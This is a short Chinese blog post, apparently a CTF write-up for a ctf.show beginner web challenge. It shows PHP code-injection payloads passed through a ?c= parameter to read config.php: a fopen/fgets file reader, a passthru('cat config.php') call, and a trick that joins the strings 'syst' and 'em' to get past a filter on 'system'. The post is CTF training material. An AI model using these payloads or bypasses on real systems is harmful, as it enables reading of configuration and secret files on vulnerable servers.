CTF web之旅 13

ctf show 萌新 web10

 

把这几个执行系统命令的函数给禁掉了

那考虑不用系统命令读取并展示文件内容

用多行PHP代码试一试

整理后构造payload 

?c=$file_handle = fopen("config.php","r");if ($file_handle){while (!feof($file_handle)) {  $line = fgets($file_handle); echo $line; echo "<br />"; }}fclose($file_handle);

随便一试最后竟然真得到了flag 菜菜落泪

看了师傅们的wp  也可以用    passthru('cat config.php');这个passthru()函数调用系统命令

还有更高级的是字符拼接

$a='syst';$b='em';$c=$a.$b;$c('cat config.php');

也可以成功绕过过滤

附读取文件php代码

<?php
$file_handle = fopen("config.php","r");    //返回值是资源类型。
if ($file_handle){
    //接着采用while循环一行行地读取文件,然后输出每行的文字
    while (!feof($file_handle)) { //如果不是最后一行就一直循环执行
        $line = fgets($file_handle); //读取一行文本
        echo $line; //输出一行文本
        echo "<br />"; //换行
    }
}
fclose($file_handle);//关闭文件,释放资源
posted @ 2021-03-30 22:43  C10ud  阅读(46)  评论(0编辑  收藏  举报